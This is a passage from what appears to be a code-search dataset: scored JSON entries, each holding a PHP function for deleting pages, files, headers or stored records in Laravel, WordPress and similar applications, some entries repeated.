delete($pageID)\n {\n global $vgDB, $vgDBPrefix;\n\n $sql = \"delete from {$vgDBPrefix}presentation where pageID = ?\";\n $vgDB->Execute($sql, array(intval($pageID)));\n }", "title": "" }, { "docid": "d1ad82d4add96658155c714d129c9360", "score": "0.54261315", "text": "public function destroy(Page $page)\n {\n $this->authorize('delete', $page);\n\n $this->itemEvent('deleted', $page);\n\n $page->delete();\n\n return response()->json(null, 204);\n }", "title": "" }, { "docid": "010f3269097df5f7756bfa9471a92f90", "score": "0.5416033", "text": "public function removePage(Page $page)\n {\n $this->pages->removeElement($page);\n }", "title": "" }, { "docid": "b45656cb095db000c7a18b0789ffe517", "score": "0.54054093", "text": "public function delete() {\n $this->storage_file->delete();\n }", "title": "" }, { "docid": "0f3218097c94ff005083e8a44337aa2c", "score": "0.5391717", "text": "public function destroy(Page $page)\n {\n $page->delete();\n\n return redirect()->route('wiki.admin.pages.index')\n ->with('success', trans('admin.pages.status.deleted'));\n }", "title": "" }, { "docid": "334ac637d2268643e9cb5bef8c30d4c3", "score": "0.5387978", "text": "public function destroy( Header $header ) {\n Storage::disk( 'public' )->delete( $header->img );\n $header->delete();\n return redirect()->back();\n }", "title": "" }, { "docid": "d3d61a1d77a85f772aa3d1afeb3fea56", "score": "0.53722537", "text": "public function destroy(Page $page)\n {\n $page->delete();\n return redirect()->route('pages.index')->with('success', 'Страница была успешно удалена');\n\n }", "title": "" }, { "docid": "56dda76b13f35997f0db5248ea7fff3c", "score": "0.5339511", "text": "public function removePage(Page $page): void {\n $temp = [];\n\n for ($i = 0; $i < count($this->levelPages); $i++) {\n if ($this->levelPages[$i]->getKey()->getUrl() !== $page->getUrl())\n $temp[] = $this->levelPages[$i];\n }\n $this->levelPages = $temp;\n }", "title": "" }, { "docid": "72d7430bb54ba1173d741e59057fdd8b", "score": "0.5309248", "text": "public function remove($pageName)\n {\n if ($pageName == $this->configurationHandler->homepage()) {\n throw new RuntimeException(\"exception_homepage_cannot_be_removed\");\n }\n\n $pageDir = $this->pagesDir . '/' . $pageName;\n Dispatcher::dispatch(PageCollectionEvents::PAGE_COLLECTION_REMOVING, new PageCollectionRemovingEvent($this->username, $pageDir));\n\n $filesystem = new Filesystem();\n if (file_exists($pageDir . '/page.json')) {\n $filesystem->mirror($pageDir, $this->pagesRemovedDir . '/' . $pageName . \"-\" . date(\"Y-m-d-H.i.s\"));\n }\n $filesystem->remove($pageDir);\n\n Dispatcher::dispatch(PageCollectionEvents::PAGE_COLLECTION_REMOVED, new PageCollectionRemovedEvent($this->username, $pageDir));\n DataLogger::log(sprintf('Page \"%s\" was successfully removed from website', $pageName));\n }", "title": "" }, { "docid": "1a8b54130bc4457edfebec2d59eed1e6", "score": "0.52862906", "text": "public function destroy(Page $page, Request $request)\n {\n $message = ['status' => 'success', 'message' => 'Blog Deleted successfully'];\n if($page->isDefault()) {\n $message = ['status' => 'success', 'message' => \"Can't Delete Web site Default Pages\"];\n $request->session()->flash('status', $message['status']);\n $request->session()->flash('message', $message['message']);\n return redirect()->back();\n }\n $page->delete();\n $request->session()->flash('status', $message['status']);\n $request->session()->flash('message', $message['message']);\n\n return redirect()->back();\n }", "title": "" }, { "docid": "20936d25620471de4ea8a130637b8dd3", "score": "0.52458906", "text": "public function deletePage()\n {\n // Get dependencies\n $pageMapper = ($this->container->dataMapper)('PageMapper');\n\n $pageId = empty($this->request->getParsedBodyParam('page_id')) ? null : $this->request->getParsedBodyParam('page_id');\n\n if (null !== $pageId) {\n // Ensure this is not the home page\n $page = $pageMapper->findById((int) $pageId);\n\n if ($page->page_slug === 'home') {\n throw new Exception('PitonCMS: Cannot delete home page');\n }\n\n // Delete page. Elements, Settings, and Navigation records are deleted by foreign key database constraints\n $pageMapper->delete($page);\n }\n\n // Redirect back to show pages\n return $this->redirect('adminPage');\n }", "title": "" }, { "docid": "761812fa1b4dd563d74c8ec896c69c58", "score": "0.52345544", "text": "public function undeletePageAction()\n {\n $page = Page::get( $this->params['pageId'] );\n $page->setDeleted(false); // Quita eliminacion logica\n $page->save(); // TODO: verif. errores.\n \n $this->flash['message'] = 'Pagina reestablecida con exito';\n \n // Si el delete viene desde la vista de listado de paginas (backend)\n if (isset($this->params['backend']))\n {\n return $this->redirect(array('action'=>'listPages'));\n }\n \n return $this->redirect(array('action'=>'displayPage', 'params'=>array('pageId'=>$this->params['pageId'])));\n }", "title": "" }, { "docid": "21eafa826f3328d0e34ef1bfc8ce4ba0", "score": "0.52264035", "text": "public function destroy(Request $request, $page, $id)\n {\n $id = $request->input('id');\n $ac = $request->input('action');\n $page = 'remover';\n // Route('products')\n $product = array(\n \"category\" => \"categoria\",\n \"section\" => \"secao\",\n \"slug\" => \"produto-1002\"\n );\n\n\n\n if ($ac == 'remove') {\n\n $compare = view('compare.compare-1-table', compact(\n 'page','id', 'product'))->render();\n $out = array(\n \"count\" => 1,\n \"table\" => $compare\n );\n\n return response()->json($out);\n }\n\n return redirect()->route('compare');\n\n\n }", "title": "" }, { "docid": "000cc54d7bf549b4d2b14458e2068f58", "score": "0.5213191", "text": "public function destroy($page_id)\n {\n $this->page->delete($page_id);\n\n Flash::success('Deleted.');\n\n $this->page->clearCache($page_id);\n\n return redirect()->route('admin.pages.index');\n }", "title": "" }, { "docid": "7efa543193bc0c0d3dcebd87246af068", "score": "0.52118856", "text": "public function deleted(Profile $profile)\n {\n $fileupload = app(FileUpload::class);\n $fileupload->delete($profile->avatar_disk, $profile->avatar_path);\n }", "title": "" }, { "docid": "b23bab0dfabcc169486df5c49c4053a8", "score": "0.52078605", "text": "public function deletePersonalData()\n {\n if ($this->resource) {\n $this->resource->removeFromStorage();\n $this->resource->delete();\n }\n }", "title": "" }, { "docid": "9c32163aa23517a33d8aa0666105bc9e", "score": "0.5182339", "text": "public function del($path)\n {\n $p = &$this->storage;\n $p = (array)$p;\n $path = explode('.', $path);\n $nodeCount = count($path);\n\n while (--$nodeCount) {\n $node = array_shift($path);\n\n if (isset($p[$node])) {\n $p = &$p[$node];\n }\n }\n\n if (is_array($p)) {\n unset($p[array_shift($path)]);\n }\n }", "title": "" }, { "docid": "d041bda48fe445ce3628c2db7978191f", "score": "0.5168272", "text": "function remove_registration_page() {\n\n global $wpdb;\n\n $the_page_title = get_option( \"pagina_registro_titulo\" );\n $the_page_name = get_option( \"pagina_registro_name\" );\n\n // the id of our page...\n $the_page_id = get_option( 'pagina_registro_id' );\n if( $the_page_id ) {\n\n wp_delete_post( $the_page_id ); // this will trash, not delete\n\n }\n\n delete_option(\"pagina_registro_titulo\");\n delete_option(\"pagina_registro_name\");\n delete_option(\"pagina_registro_id\");\n\n}", "title": "" }, { "docid": "edf94e462f893050f9f916ac046f4293", "score": "0.5157093", "text": "public function destroy($id)\n {\n $page=Page::findOrFail($id);\n \n //공지사항의 이미지는 포스트의 이미지 폴더로 설정되어 있고 그래서 파일 삭제 않하기로 \n \n //$this->removeImage($page->image);\n \n if ($page->delete()) {\n Session::flash('trash-message',['임시 삭제 되었습니다.',$id]);\n return redirect()->route('backend.page.index');\n\n }\n return back();\n }", "title": "" }, { "docid": "b268f77f0aaf8ce58c51006139f9b073", "score": "0.51547104", "text": "public function destroy(Page $page)\n {\n $page->delete();\n return response(null, 202);\n }", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.5154243", "text": "public function remove();", "title": "" }, { "docid": "cace96f79b1cdb81d74145d8569e214d", "score": "0.5149553", "text": "public function destroy()\n {\n $this->authorize('destroy', Page::class);\n\n $this->validate($this->request, [\n 'ids' => 'required|array|min:1',\n 'ids.*' => 'required|integer'\n ]);\n\n $this->page->whereIn('id', $this->request->get('ids'))->delete();\n\n return response(null, 204);\n }", "title": "" }, { "docid": "6b64bf9a9f045d834b958818c6f194f0", "score": "0.513968", "text": "function guerrilla_work_cpt_remove() {\n\n global $wpdb;\n\n $the_page_title = get_option( \"guerrilla_work_cpt_page_title\" );\n $the_page_name = get_option( \"guerrilla_work_cpt_page_name\" );\n\n // the id of our page...\n $the_page_id = get_option( 'guerrilla_work_cpt_page_id' );\n if( $the_page_id ) {\n\n wp_delete_post( $the_page_id ); // this will trash, not delete\n\n }\n\n delete_option(\"guerrilla_work_cpt_page_title\");\n delete_option(\"guerrilla_work_cpt_page_name\");\n delete_option(\"guerrilla_work_cpt_page_id\");\n\n}", "title": "" }, { "docid": "124c0f9acbd52b62de25647100b98d37", "score": "0.51359475", "text": "public function deletePage(Page $page){\n if (isset($page) && !is_null($page->id) && $page->delete()) {\n return redirect('admin/dashboard/pages')->with('status', 'Page deleted!');\n }\n\n return redirect('admin/dashboard/pages');\n }", "title": "" }, { "docid": "73f85ad1172a266064c586b7a089d8f1", "score": "0.51303124", "text": "public function removePage(int $index)\n {\n $this->getKids()->removeObject($index);\n array_splice($this->pages, $index, 1);\n $this->set(\"Count\", new PdfNumber($this->getPageCount() - 1));\n }", "title": "" }, { "docid": "4b437e1cb65e14cca9e0cd77d8c6176e", "score": "0.51298016", "text": "public function destroy(ModelsPage $page,PageService $pageService)\n {\n //\n $pageService->delete($page);\n return redirect('admin/page');\n }", "title": "" }, { "docid": "39a298971bae2649b1c312fa59b3e317", "score": "0.51261026", "text": "public function removeAction()\n {\n $url = $this->getRequest()->getParam('url');\n\n $this->_buildShell->removeByUrl($url);\n }", "title": "" }, { "docid": "10481fcc3b78d073f54c100bbfd64707", "score": "0.51237774", "text": "public function remove($code)\n {\n unset($this->collection[$code]);\n }", "title": "" }, { "docid": "00d3da9e138ca11d3b7921bc85a9136a", "score": "0.51195717", "text": "protected function removeFromMeta()\n {\n $pageList = new PageList($this->theme);\n $pageList->removeSubtree($this);\n }", "title": "" }, { "docid": "23b0c65989c0fad5e343d4bcf72f3105", "score": "0.5115592", "text": "public function destroy(SpecialPage $page)\n {\n $page->delete();\n return redirect('special_pages');\n }", "title": "" }, { "docid": "4be5669cff87868cf1eebd353713762e", "score": "0.5114952", "text": "public function destroy(Page $page, ProjectDetail $projectDetail)\n {\n $projectDetail->delete();\n\n session()->flash('message', 'Project Detail successfully deleted!');\n session()->flash('alert-class', 'alert-danger');\n\n return back();\n }", "title": "" }, { "docid": "1049ece81ae60cef5d350c41464fa1cb", "score": "0.5109243", "text": "public function deleted(PageCategory $pageCategory)\n {\n //\n }", "title": "" }, { "docid": "7c2dd27bffbd51546ccd25eded472c62", "score": "0.5088944", "text": "public static function remove(string $path): void\n\t{\n\t\tif(file_exists(storage_path($path))) {\n\t\t\tunlink(storage_path($path));\n\t\t}\n\t}", "title": "" }, { "docid": "22d65160e26576609362f42dbd535cdd", "score": "0.50857127", "text": "public function delete_pages($payload) {\r\n return $this->delete('pages', $payload);\r\n }", "title": "" }, { "docid": "758775f7167f844c00a7e89ae433168f", "score": "0.50823134", "text": "public function deleteAction()\n {\n try{\n $storedCard = Mage::getModel('hps_transit/storedcard');\n $storedCard->load($this->getRequest()->getParam('storedcard_id'));\n if ( ! $storedCard->getId()) {\n throw new Mage_Core_Exception($this->__('Stored card no longer exists.'));\n }\n $storedCard->delete();\n Mage::getSingleton('customer/session')->addSuccess($this->__('Stored card has been deleted.'));\n }\n catch (Mage_Core_Exception $e) {\n Mage::getSingleton('customer/session')->addError($e->getMessage());\n }\n catch (Exception $e) {\n Mage::logException($e);\n Mage::getSingleton('customer/session')->addError($this->__('An unexpected error occurred deleting your stored card. We apologize for the inconvenience, please contact us for further support.'));\n }\n $this->_redirect('*/*');\n }", "title": "" }, { "docid": "02d92a998dda9d4406781461e1522038", "score": "0.50792116", "text": "public function delete()\n {\n if (!$this->linked) {\n try {\n $this->storage->delete();\n } catch (Exception $e) {}\n }\n }", "title": "" }, { "docid": "c61e91705810bf642aa8f11b202da555", "score": "0.50670636", "text": "public function removePage($page)\n {\n $this->_sort();\n \n if (is_int($page)) {\n $hash = array_search($page, $this->_order);\n } elseif ($page instanceof Zym_Navigation_Page) {\n $hash = spl_object_hash($page);\n } else {\n return false;\n }\n \n if (isset($this->_order[$hash])) {\n unset($this->_order[$hash]);\n unset($this->_pages[$hash]);\n $this->_orderUpdated = true;\n return true;\n }\n \n return false;\n }", "title": "" }, { "docid": "b006bda629d74c65253f3caee4d547c8", "score": "0.50624394", "text": "public function destroy($id)\n {\n $pageelement = Page::find($id); //find each data by their id\n if ($pageelement['image']) {\n\n $pathToImage = 'uploads/pages/' . $pageelement['image'];\n File::delete($pathToImage);\n $status = $pageelement->delete();\n if ($status) {\n return redirect()->route('pageSetup.index')->with('flash_message', 'deleted successfully');\n } else {\n return redirect()->back()->with('flash_message', 'Something went wrong!');\n }\n } else {\n return back()->with('flash_message', 'Data not found');\n }\n }", "title": "" }, { "docid": "f31a876284cab84945da94d11326b6e9", "score": "0.50624186", "text": "function remove_confirmation_page() {\n\n global $wpdb;\n\n $the_page_title = get_option( \"pagina_confirmacion_titulo\" );\n $the_page_name = get_option( \"pagina_confirmacion_name\" );\n\n // the id of our page...\n $the_page_id = get_option( 'pagina_confirmacion_id' );\n if( $the_page_id ) {\n\n wp_delete_post( $the_page_id ); // this will trash, not delete\n\n }\n\n delete_option(\"pagina_confirmacion_titulo\");\n delete_option(\"pagina_confirmacion_name\");\n delete_option(\"pagina_confirmacion_id\");\n\n}", "title": "" }, { "docid": "bc32e23a26bf95ed40e3d12bbffc350f", "score": "0.50601286", "text": "public function deleteFront ($params){\n\t\t//$params=$this->decoupeParam($params['iddate']); \n\t\t//echo('Demande de suppression pour le front = '.$params['idfront']);\n\t\t//echo \"<br />ControlleurLigne 2 : <pre>\";print_r($params);\"</pre>\";\t\n\t\t\n\t\t$monFront= new FrontManager();\n\t\t$result=$monFront->delete($params['idfront']);\n\t\tif($result){\n\t\t\techo (\"Success\");\n\t\t}else{\n\t\t\t$monError=new ControlleurErreur();\n\t\t\t$monError->setError(array(\"origine\"=> \"web_max\\Gesfront\\controlleurAbonne\\validFront\", \"raison\"=>\"Suppresion de fronts\", \"libelle\"=>\"Vos modifications ne sont pas prises en compte\"));\n\t\t}\n\t}", "title": "" }, { "docid": "7e338d4690b4482b8e424b4e33e1b136", "score": "0.5054005", "text": "public function removePageAction()\n {\n \n }", "title": "" }, { "docid": "085e1ce5b4d234455f36b3a0ff6e9c4e", "score": "0.50349927", "text": "public function destroy(Header $header)\n { \n Storage::disk(\"public\")->delete(\"assets/img/\".$header->url);\n $header->delete();\n return redirect()->route(\"header.index\");\n }", "title": "" }, { "docid": "56868587dacd7a20b141588f8d2dcccf", "score": "0.5019222", "text": "function qa_db_page_delete($pageid)\n{\n\tqa_db_ordered_delete('pages', 'pageid', $pageid);\n}", "title": "" }, { "docid": "9e9fc2d187b2180f0771d9d4a87e7c9a", "score": "0.5013888", "text": "public static function deleteById($pageId)\n {\n $pageId = intval($pageId);\n return Connection::delData(\"static_page\", \" AND page_id=\" . $pageId);\n }", "title": "" }, { "docid": "f07de8eece45ba255867ec0da749a84d", "score": "0.50024873", "text": "function page_deletePage($page_id) {\n\tglobal $Auth;\n\n\t## multiclient\n\t$client_id = $Auth->auth[\"client_id\"];\n\n\t## prepare the db-object\n\t$db_connection = new DB_Sql(); \n\t\t\n\t## first we delet all the menu- so no one will be able to call this page again\n\t## while we are deleting the rest!\n\t##structure_deletePageFromMenuID($page_id);\n\n\t## delete the page!\n\t$select_query = \"DELETE FROM \".USER_PAGES.\" WHERE page_id='$page_id' AND client_id='$client_id'\";\n\t$result_pointer = $db_connection->query($select_query);\t\n\t\n\tpage_deletePageContents($page_id);\n}", "title": "" }, { "docid": "79c99ec4cccb25974fac6e5c81ae21bd", "score": "0.49948198", "text": "public function destroy(Contributorpage $contributorspage)\n {\n $contributorspage->delete();\n\n return redirect()->route('contributorspage.index')\n ->with('success','Contributors page was deleted successfully');\n }", "title": "" }, { "docid": "2bfc3694b121ce4b463ac4dd1f0be05c", "score": "0.49904224", "text": "public function delete() {\n\t\t$fileName = $this->config->item('page_directory').$this->get('fileName');\n\t\tif(file_exists($fileName)) {\n\t\t\tunlink($fileName);\n\t\t}\n\t\tlog_message('error','page deleting');\n\t \treturn Crud::delete();\n\t}", "title": "" }, { "docid": "6f7c595106dd1d090e0432ef44d171e4", "score": "0.49859625", "text": "public function removeStorage()\n {\n $storage_id = $this->getPost('id');\n $storage_details = $this->settings['storage_details'][$storage_id];\n \n $variables = array();\n $variables['form_data'] = array('remove_remote_files' => '0');\n $variables['form_errors'] = array('remove_remote_files' => false);\n $variables['errors'] = $this->errors;\n $variables['available_storage_engines'] = $this->services['backup']->getStorage()->getAvailableStorageDrivers();\n $variables['storage_engine'] = $variables['available_storage_engines'][$storage_details['storage_location_driver']];\n $variables['storage_details'] = $storage_details;\n\n if( $_SERVER['REQUEST_METHOD'] == 'POST' )\n {\n $data = array();\n $data = array_map( 'stripslashes_deep', $_POST );\n \n $backups = $this->services['backups']->setBackupPath($this->settings['working_directory'])\n ->getAllBackups($this->settings['storage_details'], $this->services['backup']->getStorage()->getAvailableStorageDrivers());\n \n if( $this->services['backup']->getStorage()->getLocations()->setSetting($this->services['settings'])->remove($storage_id, $data, $backups) )\n {\n ee()->session->set_flashdata('message_success', $this->services['lang']->__('storage_location_removed'));\n ee()->functions->redirect($this->url_base.'view_storage');\n }\n else\n {\n $variables['form_errors'] = array_merge($variables['form_errors'], $settings_errors);\n }\n }\n \n $variables['menu_data'] = $this->backup_lib->getSettingsViewMenu();\n $variables['section'] = 'storage';\n $variables['view_helper'] = $this->view_helper;\n $variables['url_base'] = $this->url_base;\n $variables['theme_folder_url'] = plugin_dir_url(self::name);\n $variables['storage_id'] = $storage_id;\n \n $template = 'admin/views/storage/remove';\n $this->renderTemplate($template, $variables);\n }", "title": "" }, { "docid": "bc107cce58aba463f667b7353744a981", "score": "0.49855646", "text": "public function remove($key){\n $this->segment->remove($key);\n }", "title": "" }, { "docid": "4b864a123b89d6d30d702f35e96c50f8", "score": "0.4984319", "text": "function admin_bar_delete_page() {\n\tif ( function_exists('current_user_can') && false == current_user_can('delete_others_posts') )\n\t\treturn false;\n\tif ( isset( $_GET[ 'action' ] ) && $_GET[ 'action' ] == 'delcachepage' && ( isset( $_GET[ '_wpnonce' ] ) ? wp_verify_nonce( $_REQUEST[ '_wpnonce' ], 'delete-cache' ) : false ) ) {\n\t\t$path = get_supercache_dir() . preg_replace( '/:.*$/', '', $_GET[ 'path' ] );\n\t\t$files = get_all_supercache_filenames( $path );\n\t\tforeach( $files as $cache_file )\n\t\t\tprune_super_cache( $path . $cache_file, true ); \n\n\t\twp_redirect( preg_replace( '/[ <>\\'\\\"\\r\\n\\t\\(\\)]/', '', $_GET[ 'path' ] ) );\n\t\tdie();\n\t}\n}", "title": "" }, { "docid": "c765ba990395ac1030cd69dabc1fea4f", "score": "0.49781588", "text": "public function destroy($id)\n {\n\n if(Page::destroy($id)){\n flash('Page has been deleted successfully')->success();\n return redirect()->back();\n }\n return back();\n\n\n }", "title": "" }, { "docid": "cac8dd651e28ba1d5842d5149a9584f6", "score": "0.49774805", "text": "function remove_singular_confirmation_page() {\n\n global $wpdb;\n\n $the_page_title = get_option( \"pagina_confirmacion_singular_titulo\" );\n $the_page_name = get_option( \"pagina_confirmacion_singular_name\" );\n\n // the id of our page...\n $the_page_id = get_option( 'pagina_confirmacion_singular_id' );\n if( $the_page_id ) {\n\n wp_delete_post( $the_page_id ); // this will trash, not delete\n\n }\n\n delete_option(\"pagina_confirmacion_singular_titulo\");\n delete_option(\"pagina_confirmacion_singular_name\");\n delete_option(\"pagina_confirmacion_singular_id\");\n\n}", "title": "" } ]
69e913242bdb563a04a399cf62276410
increase the number of views
[ { "docid": "d64d506e9402e3b700a3065d8c4aa230", "score": "0.6248049", "text": "function increase_product_view($id_product){\n $this->product = new Connection;\n $query = \"UPDATE product SET view = view + 1 WHERE id = :id_product\";\n $args = array(\n \"id_product\"=>$id_product\n );\n $this->product->insertUserValues($query);\n $this->product->bind($args);\n return $result = $this->product->run();\n }", "title": "" } ]
[ { "docid": "01c45ac85e97a09c4cd19485973c0cb4", "score": "0.8944583", "text": "function incViews()\n {\n $this->increment(\"num_views\");\n }", "title": "" }, { "docid": "e7ecca187b457bdc99ae2a9c3cc6cac3", "score": "0.8685391", "text": "private function incrementViews()\n {\n $this->model->increment('views');\n }", "title": "" }, { "docid": "d9c6ef35f0216c9520c84748739802bc", "score": "0.7717515", "text": "function incNumViews() {\n\t\tif(Session::get('ForumViewed-' . $this->ID)) return false;\n\n\t\tSession::set('ForumViewed-' . $this->ID, 'true');\n\n\t\t$this->NumViews++;\n\t\t$SQL_numViews = Convert::raw2sql($this->NumViews);\n\n\t\tDB::query(\"UPDATE \\\"ForumThread\\\" SET \\\"NumViews\\\" = '$SQL_numViews' WHERE \\\"ID\\\" = $this->ID\");\n\t}", "title": "" }, { "docid": "0333692f0de6b710a536bdca4474e7c0", "score": "0.7425468", "text": "public function incrementViewCount($id);", "title": "" }, { "docid": "120f47aaf9a119071270650af3240864", "score": "0.7071361", "text": "function setNumberViews($id)\n {\n $dbMain = db_getDBObject(DEFAULT_DB, true);\n if (defined(\"SELECTED_DOMAIN_ID\")) {\n $dbObj = db_getDBObjectByDomainID(SELECTED_DOMAIN_ID, $dbMain);\n } else {\n $dbObj = db_getDBObject();\n }\n\n unset($dbMain);\n\n $sql = \"UPDATE Classified SET number_views = \" . $this->number_views . \" + 1 WHERE Classified.id = \" . $id;\n $dbObj->query($sql);\n\n if ($symfonyContainer = SymfonyCore::getContainer()) {\n $symfonyContainer->get(\"classified.synchronization\")->addViewUpdate($id);\n }\n }", "title": "" }, { "docid": "b0c3320097ae2bdb80728101627a2e8c", "score": "0.7064222", "text": "function setNumberViews($id) {\n\t\t\t$dbMain = db_getDBObject(DEFAULT_DB, true);\n\t\t\tif (defined(\"SELECTED_DOMAIN_ID\")) {\n\t\t\t\t$dbObj = db_getDBObjectByDomainID(SELECTED_DOMAIN_ID, $dbMain);\n\t\t\t} else {\n\t\t\t\t$dbObj = db_getDBObject();\n\t\t\t}\n\n\t\t\tunset($dbMain);\n\t\t\t$sql = \"UPDATE Classified SET number_views = \".$this->number_views.\" + 1 WHERE Classified.id = \".$id;\n\t\t\t$dbObj->query($sql);\n\n\t\t}", "title": "" }, { "docid": "4e641d135dbf75795b20193b65990d82", "score": "0.6920715", "text": "public function increaseHomeViewCount(int $count): void\n {\n Statistic::query()->where('id', '=', 1)->increment('home_view_count');\n }", "title": "" }, { "docid": "b7e097c5e5f535a24968ddad1baa9518", "score": "0.66881526", "text": "public function addViews(object $model)\n\t{\n\t\t$model->views += 1;\n\t\treturn $model->save();\n\t}", "title": "" }, { "docid": "f2463f103b6e0c2f073e5724149d115a", "score": "0.6585002", "text": "public function view() {\n $this->view_count++;\n\n SQL::current()->update(\"topics\",\n array(\"id\" => $this->id),\n array(\"view_count\" => $this->view_count));\n }", "title": "" }, { "docid": "9496322e172c2bce0f22c521b9cc89ab", "score": "0.6581006", "text": "function engagement_views_tt($number_views) {\r\n $delta = $GLOBALS['ENGAGEMENT_VIEW'];\r\n $query = \"UPDATE user SET engagement = engagement + $delta WHERE id = '\" . dataConnection::safe($this->id) .\"'\";\r\n $result = dataConnection::runQuery($query);\r\n return $result;\r\n }", "title": "" }, { "docid": "8a90c49e20141acc04e9d3eea6a7f0bf", "score": "0.65273064", "text": "function changeViews($id) \n {\n return $this->query('UPDATE videos SET views = views + 1 WHERE id = ' . $id); \n }", "title": "" }, { "docid": "9714cbb751e476025871b30c0c209d00", "score": "0.6493034", "text": "function updateViews($id)\n{\n $db = getDb();\n // Обновляем views count = views + current view\n $sql = \"UPDATE gallery SET `views`= `views` + 1 WHERE `id` = '\" . $id . \"'\";\n $result = @mysqli_query($db, $sql) or die(mysqli_error($db));\n}", "title": "" }, { "docid": "55712d4765e3ccc0757ed5e98231f71a", "score": "0.6479539", "text": "function add_view($file): void\n{\n // récupere le contenu du fichier compteur\n $k = file_get_contents($file);\n $k++;\n // on le modifie dans le fichier compteur avex + 1\n file_put_contents($file, $k);\n}", "title": "" }, { "docid": "3fa049245aaa54ec4bae206a741d61a3", "score": "0.6378902", "text": "public function incrementPageView()\n {\n \tif( $this->isClient() || $this->isAdmin() ) return $this;\n\n \tif( Cookie::get('_gma_user_' . $this->id) ) return $this;\n\n \t$this->userable->page_views = (int) $this->userable->page_views + 1;\n \t$this->userable->save();\n\n \tCookie::queue('_gma_user_' . $this->id, 'true', 24*60*7);\n\n \treturn $this;\n }", "title": "" }, { "docid": "f0a11a4db302a5a342c43df2a9f54261", "score": "0.6318339", "text": "function update_counter($id)\n {\n \n \n $this->db->where('id', urldecode($id));\n $this->db->select('view'); \n $count = $this->db->get('phimchieu')->row();\n \n $this->db->where('id', urldecode($id));\n $this->db->set('view', ($count->view + 1));\n return $this->db->update('phimchieu'); \n\n \n \n \n }", "title": "" }, { "docid": "02a11eb09106ca1d242e6aec4740a37a", "score": "0.6314824", "text": "public function viewIncrement(Request $request){\n $id = $request->input('post_id');\n $post = Post::find($id);\n if($post){\n $post->views = $post->views + 1;\n $res = $post->save();\n if($res){\n return ['status' => true, 'code' => 200, 'data'=>$post];\n }else{\n return ['status' => false, 'code' => 500, 'message' => __('messages.response.error_500')];\n }\n }else{\n return ['status' => false, 'code' => 404, 'message' => __('messages.response.error_404')];\n }\n }", "title": "" }, { "docid": "c7ed61bda6d03d38a8840b327e2766cd", "score": "0.6292632", "text": "public function incrementCounter(){\n $this->countClicks = $this->countClicks + 1;\n }", "title": "" }, { "docid": "ed7e0e8b6d2672f2e8f2addaf3892fe0", "score": "0.6160233", "text": "function esteem_views_tt($number_views) {\r\n $delta = $GLOBALS['ESTEEM_VIEW'];\r\n $query = \"UPDATE user SET esteem = esteem + $delta WHERE id = '\" . dataConnection::safe($this->id) .\"'\";\r\n $result = dataConnection::runQuery($query);\r\n return $result;\r\n }", "title": "" }, { "docid": "00cc1389ea569a7e4f3a7122b08900d1", "score": "0.61038536", "text": "public function increase(): void\n {\n $downloads = \\Option::get('total.downloads');\n $downloads = empty($downloads) ? 0: $downloads;\n \\Option::set('total.downloads', ++$downloads);\n }", "title": "" }, { "docid": "7b21b59503e964eb2a09e0ce792f1883", "score": "0.6092824", "text": "public function UpdateProductViewCount()\n {\n parent::UpdateProductViewCount();\n if (!is_null($this->id)) {\n TdbPkgExternalTrackerList::GetActiveInstance()->AddStateData('oShopArticle', $this);\n }\n }", "title": "" }, { "docid": "248b0da73dd12e41d0bab564021c3671", "score": "0.60878015", "text": "public function riseVisitCounter ()\n {\n $this->_db->update ('anbieter', array ('visits' => new Zend_Db_Expr ('visits + 1')), 'anbieterID = '. $this->provider_id);\n }", "title": "" }, { "docid": "d0b04cd036d519ea464edfd86d1b5b96", "score": "0.6086248", "text": "public function view_count($q_item)\n\t{ // Prevent display view counter on usual place\n\t}", "title": "" }, { "docid": "7a52ca76cd45c172883d4caaf2717580", "score": "0.6082077", "text": "protected function updateViewCount($id)\n\t{\n\t\t$model=Post::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\t\n\t\t$model->view_count;\n\t\t\n\t\t$model->updateCounters(array ('view_count' => 1 ), 'id=:id', array ('id' => $id ));\n\t}", "title": "" }, { "docid": "6a962f4a9056983236f43b7e1041796a", "score": "0.6057341", "text": "public function incrementViewCount($id)\n {\n return $this->tourMapper->incrementViewCount($id);\n }", "title": "" }, { "docid": "f785e791a0540b559ec9ed82e97f1620", "score": "0.60493326", "text": "public function actionView()\n\t{\n $movie=$this->loadModel();\n $comment=$this->newComment($movie);\n\n $movie->views+=1;\n $movie->save();\n $this->render('view',array(\n 'model'=>$movie,\n 'comment'=>$comment,\n ));\n\t}", "title": "" }, { "docid": "14331c460cacff6d8800aea79d709dc7", "score": "0.6047558", "text": "private function incrementViews($blogArticle)\n {\n $blogArticle->incrementViews();\n $em = $this->getDoctrine()->getManager();\n $em->persist($blogArticle);\n $em->flush();\n }", "title": "" }, { "docid": "b3a51b0c867d4bb8e3a8795b8974710d", "score": "0.6040512", "text": "public function counter(){\n return view('newtemplates.pages.counter');\n}", "title": "" }, { "docid": "504fc1fb6d9c7e9ec5442e996bebac68", "score": "0.60388273", "text": "function ktz_setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "f22e03d994c9fb37e9930761a85077c4", "score": "0.60372144", "text": "function waxo_set_post_view_count($postID) {\r\n $count_key = 'post_views_count';\r\n $count = get_post_meta($postID, $count_key, true);\r\n if($count==''){\r\n $count = 0;\r\n delete_post_meta($postID, $count_key);\r\n add_post_meta($postID, $count_key, '0');\r\n }else{\r\n $count++;\r\n update_post_meta($postID, $count_key, $count);\r\n }\r\n}", "title": "" }, { "docid": "546a585d4a0473a50f9ad18ebda3393c", "score": "0.6015733", "text": "function manageViews($pageName,$inputValue)\n\t\t{\n\t\t\t//views for models\n\t\t\tif( $pageName == \"model\" )\n\t\t\t{\n\t\t\t\t$result = 